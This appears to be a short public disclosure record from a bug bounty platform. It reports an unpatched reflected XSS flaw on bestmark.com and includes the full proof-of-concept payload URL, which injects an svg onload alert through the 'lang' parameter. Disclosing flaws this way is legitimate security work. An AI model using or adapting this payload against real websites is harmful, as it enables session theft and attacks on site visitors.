bestmark.com XSS vulnerability

Vulnerable URL: https://www.bestmark.com/support/shopper1.asp?lang=%22%3E%3Csvg/onload=alert%27OPENBUGBOUNTY%27%3E Details: Description| Value ---|--- Patched:| No Latest check for patch:| 28.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 120919 VIP website...